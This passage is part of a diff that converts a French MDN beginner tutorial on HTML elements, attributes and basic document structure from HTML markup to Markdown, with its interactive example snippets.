l'autre. Si les balises se chevauchent comme dans l'exemple ci-dessus, votre navigateur web essaiera de deviner ce que vous vouliez dire, et vous pourrez obtenir des résultats inattendus. Autant éviter !</p> +Les éléments doivent être ouverts et fermés correctement afin d'être clairement à l'intérieur ou à l'extérieur l'un de l'autre. Si les balises se chevauchent comme dans l'exemple ci-dessus, votre navigateur web essaiera de deviner ce que vous vouliez dire, et vous pourrez obtenir des résultats inattendus. Autant éviter ! -<h3 id="Éléments_bloc_vs_en_ligne">Éléments bloc vs en ligne</h3> +### Éléments bloc vs en ligne -<p>Il existe deux catégories importantes d'éléments en HTML que vous devez connaître : les éléments de niveau bloc et les éléments en ligne.</p> +Il existe deux catégories importantes d'éléments en HTML que vous devez connaître : les éléments de niveau bloc et les éléments en ligne. -<ul> - <li>Les éléments de niveau <strong>bloc</strong> forment <strong>un bloc visible sur une page</strong> — ils apparaissent sur une nouvelle ligne quel que soit le contenu précédant et tout contenu qui les suit apparaît également sur une nouvelle ligne. Les éléments de niveau de bloc sont souvent des éléments structurels de la page et représentent, par exemple, des paragraphes, des listes, des menus de navigation, des pieds de page, etc. Un élément de niveau bloc ne peut pas être imbriqué dans un élément en ligne, mais il peut être imbriqué dans un autre élément de niveau bloc.</li> - <li>Les éléments en<strong> ligne</strong> sont contenus <strong>dans des éléments de niveau bloc</strong>. Ils entourent seulement des petites parties du contenu du document, ni des paragraphes entiers, ni des regroupements de contenu. Un élément en ligne ne fait pas apparaître une nouvelle ligne dans le document. Il apparaît généralement dans un paragraphe de texte, par exemple un élément (hyperlien) {{htmlelement ("a")}} ou des éléments de mise en évidence tels que {{htmlelement("em")}} ou {{htmlelement("strong")}}.</li> -</ul> +- Les éléments de niveau **bloc** forment **un bloc visible sur une page** — ils apparaissent sur une nouvelle ligne quel que soit le contenu précédant et tout contenu qui les suit apparaît également sur une nouvelle ligne. Les éléments de niveau de bloc sont souvent des éléments structurels de la page et représentent, par exemple, des paragraphes, des listes, des menus de navigation, des pieds de page, etc. Un élément de niveau bloc ne peut pas être imbriqué dans un élément en ligne, mais il peut être imbriqué dans un autre élément de niveau bloc. +- Les éléments en **ligne** sont contenus **dans des éléments de niveau bloc**. Ils entourent seulement des petites parties du contenu du document, ni des paragraphes entiers, ni des regroupements de contenu. Un élément en ligne ne fait pas apparaître une nouvelle ligne dans le document. Il apparaît généralement dans un paragraphe de texte, par exemple un élément (hyperlien) {{htmlelement ("a")}} ou des éléments de mise en évidence tels que {{htmlelement("em")}} ou {{htmlelement("strong")}}. -<p>Prenez l'exemple suivant :</p> +Prenez l'exemple suivant : -<pre class="brush: html"><em>premier</em><em>deuxième</em><em>troisième</em> +```html +<em>premier</em><em>deuxième</em><em>troisième</em> -<p>quatrième</p><p>cinquième</p><p>sixième</p> -</pre> +<p>quatrième</p><p>cinquième</p><p>sixième</p> +``` -<p>{{htmlelement("em")}} est un élément en ligne et, comme vous pouvez le voir ci-dessous, les trois premiers éléments s'affichent sur la même ligne sans qu'il n'y ait d'espace entre eux. Par contre, {{htmlelement("p")}} est un élément de niveau bloc, donc chaque élément apparaît sur une nouvelle ligne et un espace apparaît au-dessus et au-dessous de chacun d'eux (l'espacement est dû au <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">style CSS </a>par défaut du navigateur qui s'applique aux paragraphes).</p> +{{htmlelement("em")}} est un élément en ligne et, comme vous pouvez le voir ci-dessous, les trois premiers éléments s'affichent sur la même ligne sans qu'il n'y ait d'espace entre eux. Par contre, {{htmlelement("p")}} est un élément de niveau bloc, donc chaque élément apparaît sur une nouvelle ligne et un espace apparaît au-dessus et au-dessous de chacun d'eux (l'espacement est dû au [style CSS ](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS)par défaut du navigateur qui s'applique aux paragraphes). -<p>{{ EmbedLiveSample('Éléments_bloc_vs_en_ligne', 700, 200, "", "") }}</p> +{{ EmbedLiveSample('Éléments_bloc_vs_en_ligne', 700, 200, "", "") }} -<div class="note"> -<p><strong>Note :</strong> HTML5 a redéfini les catégories d'éléments dans HTML5 : voir <a href="https://html.spec.whatwg.org/multipage/indices.html#element-content-categories">catégories de contenu d'éléments</a>. Bien que ces définitions soient plus précises et moins ambiguës que celles qui précèdent, elles sont beaucoup plus compliquées à comprendre que « block » et « inline ». Nous nous en tiendrons donc à cela tout au long de ce sujet.</p> -</div> +> **Note :** HTML5 a redéfini les catégories d'éléments dans HTML5 : voir [catégories de contenu d'éléments](https://html.spec.whatwg.org/multipage/indices.html#element-content-categories). Bien que ces définitions soient plus précises et moins ambiguës que celles qui précèdent, elles sont beaucoup plus compliquées à comprendre que « block » et « inline ». Nous nous en tiendrons donc à cela tout au long de ce sujet. -<div class="note"> -<p><strong>Note :</strong> les termes « block » et « inline », tels qu'utilisés dans cet article, ne doivent pas être confondus avec <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte">les types de boîtes des CSS </a>portant les mêmes noms. Alors qu'ils sont corrélés par défaut, modifier le type d'affichage des CSS ne modifie pas la catégorie d'un élément et n'affecte pas les éléments qu'il pourrait contenir ni ceux dans lequel il pourrait être contenu. Une des raisons pour lesquelles HTML5 a abandonné ces termes était d'éviter cette confusion assez courante.</p> -</div> +> **Note :** les termes « block » et « inline », tels qu'utilisés dans cet article, ne doivent pas être confondus avec [les types de boîtes des CSS ](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte)portant les mêmes noms. Alors qu'ils sont corrélés par défaut, modifier le type d'affichage des CSS ne modifie pas la catégorie d'un élément et n'affecte pas les éléments qu'il pourrait contenir ni ceux dans lequel il pourrait être contenu. Une des raisons pour lesquelles HTML5 a abandonné ces termes était d'éviter cette confusion assez courante. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez des pages de référence utiles incluant des listes d'<a href="/fr/docs/Web/HTML/%C3%89l%C3%A9ments_en_bloc">éléments de niveau bloc</a> et d'<a href="/fr/docs/Web/HTML/%C3%89l%C3%A9ments_en_ligne">éléments en ligne</a>.</p> -</div> +> **Note :** Vous trouverez des pages de référence utiles incluant des listes d'[éléments de niveau bloc](/fr/docs/Web/HTML/%C3%89l%C3%A9ments_en_bloc) et d'[éléments en ligne](/fr/docs/Web/HTML/%C3%89l%C3%A9ments_en_ligne). -<h3 id="Éléments_vides">Éléments vides</h3> +### Éléments vides -<p>Tous les éléments ne suivent pas le modèle ci-dessus d'ouverture de balise, puis contenu, puis fermeture de balise. Certains éléments ne sont composés que d'une balise. Ils servent généralement à insérer / incorporer quelque chose dans le document à l'endroit où ils sont mis. Par exemple, l'élément <code><img /></code> ou {{htmlelement("img")}} insère une image dans une page à l'endroit où il est placé (la balise auto-fermante <code><img /></code> est à privilégier) :</p> +Tous les éléments ne suivent pas le modèle ci-dessus d'ouverture de balise, puis contenu, puis fermeture de balise. Certains éléments ne sont composés que d'une balise. Ils servent généralement à insérer / incorporer quelque chose dans le document à l'endroit où ils sont mis. Par exemple, l'élément `<img />` ou {{htmlelement("img")}} insère une image dans une page à l'endroit où il est placé (la balise auto-fermante `<img />` est à privilégier) : -<pre class="brush: html"><img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png" /></pre> +```html +<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png" /> +``` -<p>Cela affichera l'élément suivant sur votre page :</p> +Cela affichera l'élément suivant sur votre page : -<p>{{ EmbedLiveSample('Éléments_vides', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Éléments_vides', 700, 300, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Attributs">Attributs</h2> +## Attributs -<p>Les éléments peuvent aussi avoir des attributs, qui comme suit:</p> +Les éléments peuvent aussi avoir des attributs, qui comme suit: -<p><img alt='&amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;lt;/p>' src="attribut-chat-grincheux.png"></p> + -<p>Les attributs contiennent des informations supplémentaires sur l'élément sans qu'elles n'apparaissent dans le contenu réel. Dans ce cas, l'attribut <code>class</code> vous permet de donner à l'élément un nom d'identification qui peut ensuite être utilisé pour cibler l'élément afin de lui attribuer un <a href="/fr/docs/Web/CSS">style CSS</a> ou un comportement particulier, par exemple.</p> +Les attributs contiennent des informations supplémentaires sur l'élément sans qu'elles n'apparaissent dans le contenu réel. Dans ce cas, l'attribut `class` vous permet de donner à l'élément un nom d'identification qui peut ensuite être utilisé pour cibler l'élément afin de lui attribuer un [style CSS](/fr/docs/Web/CSS) ou un comportement particulier, par exemple. -<p>Pour créer un attribut, il faut :</p> +Pour créer un attribut, il faut : -<ol> - <li>insérer un espace entre cet attribut et le nom de l'élément (ou l'attribut précédent, si l'élément possède déjà un ou plusieurs attributs) ;</li> - <li>donner un nom à l'attribut, puis ajouter un signe égal ;</li> - <li>donner une valeur à l'attribut, entourée par des guillemets d'ouverture et de fermeture.</li> -</ol> +1. insérer un espace entre cet attribut et le nom de l'élément (ou l'attribut précédent, si l'élément possède déjà un ou plusieurs attributs) ; +2. donner un nom à l'attribut, puis ajouter un signe égal ; +3. donner une valeur à l'attribut, entourée par des guillemets d'ouverture et de fermeture. -<h3 id="Apprentissage_actif_ajouter_des_attributs_à_un_élément">Apprentissage actif : ajouter des attributs à un élément</h3> +### Apprentissage actif : ajouter des attributs à un élément -<p>Un autre exemple d'un élément est {{htmlelement("a")}}. Il représente une ancre et permet de transformer en lien l'élément qu'il enveloppe. Il peut recevoir un certain nombre d'attributs, mais voici les deux principaux :</p> +Un autre exemple d'un élément est {{htmlelement("a")}}. Il représente une ancre et permet de transformer en lien l'élément qu'il enveloppe. Il peut recevoir un certain nombre d'attributs, mais voici les deux principaux : -<ul> - <li><code>href </code>: cet attribut spécifie l'adresse web vers laquelle vous souhaitez que le lien pointe, c'est-à-dire l'adresse vers laquelle le navigateur redirigera lorsqu'on cliquera sur le lien. Par exemple, <code>href="https://www.mozilla.org/"</code>.</li> - <li><code>title</code> : l'attribut <code>title</code> apporte des informations supplémentaires sur le lien, comme le nom de la page vers laquelle le lien pointe. Par exemple, <code>title="Page d'Accueil Mozilla"</code>, qui apparaîtra comme une info-bulle lorsque le curseur passera sur le lien.</li> - <li><code>target</code>: L'attribut <code>target</code> définit le contexte de navigation utilisé pour afficher le lien. Par exemple, <code>target="_blank"</code> affichera le lien dans un nouvel onglet. Si vous voulez afficher le lien dans l'onglet courant, simplement, ne mettez pas cet attribut.</li> -</ul> +- `href `: cet attribut spécifie l'adresse web vers laquelle vous souhaitez que le lien pointe, c'est-à-dire l'adresse vers laquelle le navigateur redirigera lorsqu'on cliquera sur le lien. Par exemple, `href="https://www.mozilla.org/"`. +- `title` : l'attribut `title` apporte des informations supplémentaires sur le lien, comme le nom de la page vers laquelle le lien pointe. Par exemple, `title="Page d'Accueil Mozilla"`, qui apparaîtra comme une info-bulle lorsque le curseur passera sur le lien. +- `target`: L'attribut `target` définit le contexte de navigation utilisé pour afficher le lien. Par exemple, `target="_blank"` affichera le lien dans un nouvel onglet. Si vous voulez afficher le lien dans l'onglet courant, simplement, ne mettez pas cet attribut. -<p>Modifiez la ligne ci-dessous dans la <em>Zone de saisie</em> pour la transformer en lien vers votre site web préféré. Tout d'abord, ajoutez l'élément <a>, puis l'attribut <code>href</code>, puis l'attribut <code>title</code>. Vous pourrez voir la mise à jour de vos modifications en direct dans la <em>Zone de rendu</em>. Vous devriez voir un lien qui, lorsque vous passez votre pointeur de souris dessus, affiche le contenu de l'attribut <code>title</code> et, lorsque vous cliquez dessus, va à l'adresse web indiquée dans l'élément <code>href</code>. N'oubliez pas d'inclure un espace entre le nom de l'élément et chacun des attributs.</p> +Modifiez la ligne ci-dessous dans la _Zone de saisie_ pour la transformer en lien vers votre site web préféré. Tout d'abord, ajoutez l'élément \<a>, puis l'attribut `href`, puis l'attribut `title`. Vous pourrez voir la mise à jour de vos modifications en direct dans la _Zone de rendu_. Vous devriez voir un lien qui, lorsque vous passez votre pointeur de souris dessus, affiche le contenu de l'attribut `title` et, lorsque vous cliquez dessus, va à l'adresse web indiquée dans l'élément `href`. N'oubliez pas d'inclure un espace entre le nom de l'élément et chacun des attributs. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser la <em>zone de saisie</em> en cliquant sur le bouton <em>Réinitialiser</em>. Si vous êtes vraiment coincé, cliquez sur le bouton <em>Voir la solution</em> pour afficher la réponse.</p> +Si vous faites une erreur, vous pouvez toujours réinitialiser la _zone de saisie_ en cliquant sur le bouton _Réinitialiser_. Si vous êtes vraiment coincé, cliquez sur le bouton _Voir la solution_ pour afficher la réponse. -<pre class="brush: html hidden"><h2>Zone de rendu</h2> +```html hidden +<h2>Zone de rendu</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 100px;width: 95%"> - &lt;p&gt;Un lien vers mon site Web préféré.&lt;/p&gt; -</textarea> +<textarea id="code" class="input" style="min-height: 100px;width: 95%"> + <p>Un lien vers mon site Web préféré.</p> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -305,9 +316,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -337,7 +350,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<p>Un lien vers mon <a href="https://www.mozilla.org/" title="Page d\'accueil de Mozilla" target="_blank">site Web préféré</a>.</p>'; +var htmlSolution = '<p>Un lien vers mon <a href="https://www.mozilla.org/" title="Page d\'accueil de Mozilla" target="_blank">site Web préféré</a>.</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -383,138 +396,147 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_ajouter_des_attributs_à_un_élément', 700, 400,"","","hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Apprentissage_actif_ajouter_des_attributs_à_un_élément', 700, 400,"","","hide-codepen-jsfiddle") }} -<h3 id="Les_attributs_booléens">Les attributs booléens</h3> +### Les attributs booléens -<p>Vous verrez parfois des attributs sans valeur définie : c'est tout à fait autorisé. Ils sont appelés attributs booléens ; ils ne peuvent avoir qu'une seule valeur, généralement la même que le nom de l'attribut. Par exemple, prenez l'attribut {{htmlattrxref ("disabled", "input")}}, que vous pouvez affecter aux éléments <code>input</code> (éléments de saisie d'un formulaire) si vous voulez les désactiver (ils seront alors grisés) afin que l'utilisateur ne puisse pas y saisir de données.</p> +Vous verrez parfois des attributs sans valeur définie : c'est tout à fait autorisé. Ils sont appelés attributs booléens ; ils ne peuvent avoir qu'une seule valeur, généralement la même que le nom de l'attribut. Par exemple, prenez l'attribut {{htmlattrxref ("disabled", "input")}}, que vous pouvez affecter aux éléments `input` (éléments de saisie d'un formulaire) si vous voulez les désactiver (ils seront alors grisés) afin que l'utilisateur ne puisse pas y saisir de données. -<pre><input type="text" disabled="disabled"></pre> + <input type="text" disabled="disabled"> -<p>Pour aller plus vite, il est parfaitement possible d'écrire cette même ligne de la façon suivante (nous avons également inclus un élément <code>input</code> non-désactivé pour référence, pour que vous puissiez vous faire une meilleure idée de ce qui se passe) :</p> +Pour aller plus vite, il est parfaitement possible d'écrire cette même ligne de la façon suivante (nous avons également inclus un élément `input` non-désactivé pour référence, pour que vous puissiez vous faire une meilleure idée de ce qui se passe) : -<pre class="brush: html"><input type="text" disabled> +```html +<input type="text" disabled> -<input type="text"> -</pre> +<input type="text"> +``` -<p>Ces deux exemples vous donneront le résultat suivant :</p> +Ces deux exemples vous donneront le résultat suivant : -<p>{{ EmbedLiveSample('Les_attributs_booléens', 700, 100) }}</p> +{{ EmbedLiveSample('Les_attributs_booléens', 700, 100) }} -<h3 id="Omettre_des_guillemets_autour_des_valeurs_dattribut">Omettre des guillemets autour des valeurs d'attribut</h3> +### Omettre des guillemets autour des valeurs d'attribut -<p>Si vous regardez ce qui se passe sur le Web, vous rencontrerez tous types de styles de balises étranges, y compris des valeurs d'attribut sans guillemets. C'est permis dans certaines circonstances, mais cela va briser votre balisage dans d'autres. Par exemple, si nous revisitons notre exemple de lien ci-dessus, nous pourrons écrire une version de base avec seulement l'attribut <code>href</code>, comme ceci :</p> +Si vous regardez ce qui se passe sur le Web, vous rencontrerez tous types de styles de balises étranges, y compris des valeurs d'attribut sans guillemets. C'est permis dans certaines circonstances, mais cela va briser votre balisage dans d'autres. Par exemple, si nous revisitons notre exemple de lien ci-dessus, nous pourrons écrire une version de base avec seulement l'attribut `href`, comme ceci : -<pre><a href=<code>https://www.mozilla.org/</code>>mon site web favori</a></pre> + <a href=https://www.mozilla.org/>mon site web favori</a> -<p>Cependant, si nous ajoutons l'attribut <code>title</code> dans ce même style, cela devient incorrect :</p> +Cependant, si nous ajoutons l'attribut `title` dans ce même style, cela devient incorrect : -<pre class="brush: html"><a href=https://www.mozilla.org/ title=La page d\'accueil Mozilla >mon site web favori</a></pre> +```html +<a href=https://www.mozilla.org/ title=La page d\'accueil Mozilla >mon site web favori</a> +``` -<p>En effet, le navigateur interprétera mal la balise, pensant que l'attribut <code>title</code> est en fait quatre attributs — un attribut <code>title</code> avec la valeur « La » et trois attributs booléens, « <code>page</code> », « <code>d\'accueil</code> » et « <code>Mozilla</code> ». Ce n'est évidemment pas ce qui était prévu et cela provoquera des erreurs ou un comportement inattendu dans le code, comme on le voit dans l'exemple en direct ci-dessous. Essayez de passer la souris sur le lien pour voir ce que le texte de <code>title</code> donne.</p> +En effet, le navigateur interprétera mal la balise, pensant que l'attribut `title` est en fait quatre attributs — un attribut `title` avec la valeur « La » et trois attributs booléens, « `page` », « `d\'accueil` » et « `Mozilla` ». Ce n'est évidemment pas ce qui était prévu et cela provoquera des erreurs ou un comportement inattendu dans le code, comme on le voit dans l'exemple en direct ci-dessous. Essayez de passer la souris sur le lien pour voir ce que le texte de `title` donne. -<p>{{ EmbedLiveSample("Omettre_des_guillemets_autour_des_valeurs_dattribut", 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample("Omettre_des_guillemets_autour_des_valeurs_dattribut", 700, 100, "", "", "hide-codepen-jsfiddle") }} -<p>Nous vous recommandons de toujours inclure les guillemets afin d'éviter ce type de problèmes, mais aussi pour que le code soit plus lisible.</p> +Nous vous recommandons de toujours inclure les guillemets afin d'éviter ce type de problèmes, mais aussi pour que le code soit plus lisible. -<h3 id="Guillemets_simples_ou_doubles">Guillemets simples ou doubles ?</h3> +### Guillemets simples ou doubles ? -<p>Dans cet article, vous remarquerez que les valeurs des attributs sont toutes entre des guillemets doubles (" "). Vous pouvez cependant voir des guillemets simples (' ') dans le code HTML de certaines personnes. C'est purement une question de style, et vous êtes libre de choisir la solution que vous préférez. Les deux lignes suivantes sont équivalentes :</p> +Dans cet article, vous remarquerez que les valeurs des attributs sont toutes entre des guillemets doubles (" "). Vous pouvez cependant voir des guillemets simples (' ') dans le code HTML de certaines personnes. C'est purement une question de style, et vous êtes libre de choisir la solution que vous préférez. Les deux lignes suivantes sont équivalentes : -<pre class="brush: html"><a href="http://www.exemple.com">Un lien vers mon exemple.</a> +```html +<a href="http://www.exemple.com">Un lien vers mon exemple.</a> -<a href='http://www.example.com'>Un lien vers mon exemple</a></pre> +<a href='http://www.example.com'>Un lien vers mon exemple</a> +``` -<p>Vous devez cependant vous assurer de ne pas les mélanger. Ce qui suit n'est pas correct :</p> +Vous devez cependant vous assurer de ne pas les mélanger. Ce qui suit n'est pas correct : -<pre class="brush: html"><a href="http://www.exemple.com'>Un lien vers mon exemple.</a></pre> +```html +<a href="http://www.exemple.com'>Un lien vers mon exemple.</a> +``` -<p>Si vous avez utilisé un type de guillemets dans votre code HTML, vous pouvez imbriquer l'autre type :</p> +Si vous avez utilisé un type de guillemets dans votre code HTML, vous pouvez imbriquer l'autre type : -<pre class="brush: html"><a href="http://www.exemple.com" title="N'est-ce pas drôle ?">Un lien vers mon exemple.</a></pre> +```html +<a href="http://www.exemple.com" title="N'est-ce pas drôle ?">Un lien vers mon exemple.</a> +``` -<p>Si vous souhaitez imbriquer le même type de guillemets, vous devez utiliser <a href="/fr/docs/Glossary/Entity">une entité HTML</a> pour représenter ce caractère spécial.</p> +Si vous souhaitez imbriquer le même type de guillemets, vous devez utiliser [une entité HTML](/fr/docs/Glossary/Entity) pour représenter ce caractère spécial. -<h2 id="Anatomie_d'un_document_HTML">Anatomie d'un document HTML</h2> +## Anatomie d'un document HTML -<p>Les éléments HTML basiques ne sont pas très utiles si on les prend séparément. Nous allons voir comment combiner des éléments individuels pour former une page HTML entière :</p> +Les éléments HTML basiques ne sont pas très utiles si on les prend séparément. Nous allons voir comment combiner des éléments individuels pour former une page HTML entière : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Ma page test</title> - </head> - <body> - <p>Voici ma page web</p> - </body> -</html></pre> +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Ma page test</title> + </head> + <body> + <p>Voici ma page web</p> + </body> +</html> +``` -<p>Ici, nous avons :</p> +Ici, nous avons : -<ol> - <li><code><!DOCTYPE html></code> : le type de document. Quand HTML était jeune (vers 1991/2), les <code>doctypes</code> étaient censés agir comme des liens vers un ensemble de règles que la page HTML devait suivre pour être considérée comme un bon HTML, ce qui pouvait signifier la vérification automatique des erreurs et d'autres choses utiles. Habituellement, ils ressemblaient à ceci : +1. `<!DOCTYPE html>` : le type de document. Quand HTML était jeune (vers 1991/2), les `doctypes` étaient censés agir comme des liens vers un ensemble de règles que la page HTML devait suivre pour être considérée comme un bon HTML, ce qui pouvait signifier la vérification automatique des erreurs et d'autres choses utiles. Habituellement, ils ressemblaient à ceci : - <pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></pre> - Cependant, de nos jours personne ne se soucie vraiment d'eux, et ils sont juste un artefact historique qui doit être inclus pour que tout fonctionne bien. <code><!DOCTYPE html></code> est la chaîne de caractères la plus courte qui soit un <code>doctype</code> valide. C'est tout ce que vous avez vraiment besoin de savoir.</li> - <li><code><html></html></code> : l'élément <code><html></code>. Cet élément est le contenant de tout le code de la page et est parfois connu comme l'élément racine.</li> - <li><code><head></head></code> : l'élément <code><head></code>. Cet élément a le rôle de conteneur pour toute chose que vous souhaitez inclure dans la page HTML qui ne soit pas du contenu à afficher aux visiteurs de la page : mots clés, description de page que vous souhaitez voir apparaître dans les résultats de recherche, style CSS, déclarations de jeu de caractères et plus encore. Nous vous en dirons plus à ce sujet dans l'article suivant de la série.</li> - <li><code><meta charset="utf-8"></code> : cet élément définit que le jeu de caractères à utiliser pour votre document est UTF-8. Ce jeu comporte la quasi‑totalité des caractères de toutes les écritures de langues humaines connues. Actuellement, il peut pour l'essentiel gérer tout contenu textuel que vous y pourriez mettre. Il n'y a aucune raison de ne pas définir cela et il peut permettre d'éviter certains problèmes plus tard. </li> - <li><code><title></title></code> : l'élément <code>title</code>. Il définit le titre de la page, celui qui s'affiche dans l'onglet du navigateur dans lequel la page est chargée et qui est utilisé pour décrire la page lorsque vous la marquez ou l'ajoutez aux favoris. </li> - <li><code><body></body></code> : l'élément <code><body></code>. Il contient <em>tout </em>le contenu que vous souhaitez afficher aux internautes lorsqu'ils visitent votre page, que ce soit du texte, des images, des vidéos, des jeux, des pistes audio jouables ou autre.</li> -</ol> + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<h3 id="Apprentissage_actif_ajouter_certaines_fonctionnalités_à_un_document_HTML">Apprentissage actif : ajouter certaines fonctionnalités à un document HTML</h3> + Cependant, de nos jours personne ne se soucie vraiment d'eux, et ils sont juste un artefact historique qui doit être inclus pour que tout fonctionne bien. `<!DOCTYPE html>` est la chaîne de caractères la plus courte qui soit un `doctype` valide. C'est tout ce que vous avez vraiment besoin de savoir. -<p>Si vous voulez essayer d'écrire du HTML sur votre ordinateur en local, vous pouvez :</p> +2. `<html></html>` : l'élément `<html>`. Cet élément est le contenant de tout le code de la page et est parfois connu comme l'élément racine. +3. `<head></head>` : l'élément `<head>`. Cet élément a le rôle de conteneur pour toute chose que vous souhaitez inclure dans la page HTML qui ne soit pas du contenu à afficher aux visiteurs de la page : mots clés, description de page que vous souhaitez voir apparaître dans les résultats de recherche, style CSS, déclarations de jeu de caractères et plus encore. Nous vous en dirons plus à ce sujet dans l'article suivant de la série. +4. `<meta charset="utf-8">` : cet élément définit que le jeu de caractères à utiliser pour votre document est UTF-8. Ce jeu comporte la quasi‑totalité des caractères de toutes les écritures de langues humaines connues. Actuellement, il peut pour l'essentiel gérer tout contenu textuel que vous y pourriez mettre. Il n'y a aucune raison de ne pas définir cela et il peut permettre d'éviter certains problèmes plus tard. +5. `<title></title>` : l'élément `title`. Il définit le titre de la page, celui qui s'affiche dans l'onglet du navigateur dans lequel la page est chargée et qui est utilisé pour décrire la page lorsque vous la marquez ou l'ajoutez aux favoris. +6. `<body></body>` : l'élément `<body>`. Il contient _tout_ le contenu que vous souhaitez afficher aux internautes lorsqu'ils visitent votre page, que ce soit du texte, des images, des vidéos, des jeux, des pistes audio jouables ou autre. -<ol> - <li>copier l'exemple de page HTML ci-dessus.</li> - <li>créer un nouveau fichier dans votre éditeur de texte.</li> - <li>coller le code dans le nouveau fichier texte.</li> - <li>enregistrer le fichier sous <code>index.html</code>.</li> -</ol> +### Apprentissage actif : ajouter certaines fonctionnalités à un document HTML -<div class="note"> -<p><strong>Note :</strong> Vous pouvez également trouver ce modèle HTML dans le<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html"> dépôt GitHub MDN Learning Area</a>.</p> -</div> +Si vous voulez essayer d'écrire du HTML sur votre ordinateur en local, vous pouvez : + +1. copier l'exemple de page HTML ci-dessus. +2. créer un nouveau fichier dans votre éditeur de texte. +3. coller le code dans le nouveau fichier texte. +4. enregistrer le fichier sous `index.html`. + +> **Note :** Vous pouvez également trouver ce modèle HTML dans le[ dépôt GitHub MDN Learning Area](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html). -<p>Vous pouvez maintenant ouvrir ce fichier dans un navigateur Web pour voir à quoi ressemble le rendu, puis modifier le code et actualiser le navigateur pour voir le résultat. Initialement, il ressemblera à ceci:</p> +Vous pouvez maintenant ouvrir ce fichier dans un navigateur Web pour voir à quoi ressemble le rendu, puis modifier le code et actualiser le navigateur pour voir le résultat. Initialement, il ressemblera à ceci: -<p><img alt="Une simple page HTML affichant Voici ma page" src="fr-capture-modele.png">Dans cet exercice, vous pouvez modifier le code sur votre ordinateur, comme indiqué ci-dessus, ou directement dans la fenêtre d'exemple modifiable ci-dessous (la fenêtre d'exemple modifiable représente uniquement le contenu de l'élément <body>. ) Nous aimerions que vous le fassiez en suivant les étapes suivantes :</p> +Dans cet exercice, vous pouvez modifier le code sur votre ordinateur, comme indiqué ci-dessus, ou directement dans la fenêtre d'exemple modifiable ci-dessous (la fenêtre d'exemple modifiable représente uniquement le contenu de l'élément \<body>. ) Nous aimerions que vous le fassiez en suivant les étapes suivantes : -<ul> - <li>Au début du document, juste après la balise d'ouverture <body>, ajoutez un titre principal pour le document. Il doit être entre une balise ouvrante <h1> et la balise fermante </ h1> ;</li> - <li>modifiez le contenu du paragraphe pour ajouter un texte sur quelque chose qui vous intéresse ;</li> - <li>mettez les mots importants en gras en les mettant entre la balise ouvrante <code><strong></code> et la balise fermante <code></ strong></code>;</li> - <li>ajoutez un lien à votre paragraphe, comme <a href="#apprentissage_actif_ajout_d'attributs_à_un_élément">expliqué plus haut dans cet article</a> ;</li> - <li>ajoutez une image dans votre document, en dessous du paragrahe, comme <a href="#éléments_vides">expliqué plus haut dans cet article</a>. Vous obtiendrez des points bonus si vous parvenez à lier une image différente (localement sur votre ordinateur ou ailleurs sur le Web).</li> -</ul> +- Au début du document, juste après la balise d'ouverture \<body>, ajoutez un titre principal pour le document. Il doit être entre une balise ouvrante \<h1> et la balise fermante \</ h1> ; +- modifiez le contenu du paragraphe pour ajouter un texte sur quelque chose qui vous intéresse ; +- mettez les mots importants en gras en les mettant entre la balise ouvrante `<strong>` et la balise fermante `</ strong>`; +- ajoutez un lien à votre paragraphe, comme [expliqué plus haut dans cet article](#apprentissage_actif_ajout_d'attributs_à_un_élément) ; +- ajoutez une image dans votre document, en dessous du paragrahe, comme [expliqué plus haut dans cet article](#éléments_vides). Vous obtiendrez des points bonus si vous parvenez à lier une image différente (localement sur votre ordinateur ou ailleurs sur le Web). -<p>Si vous faites une erreur, vous pouvez toujours recommencer en utilisant le bouton <em>Réinitialiser</em>. Si vous êtes vraiment coincé, appuyez sur le bouton <em>Voir la solution</em> pour l'afficher.</p> +Si vous faites une erreur, vous pouvez toujours recommencer en utilisant le bouton _Réinitialiser_. 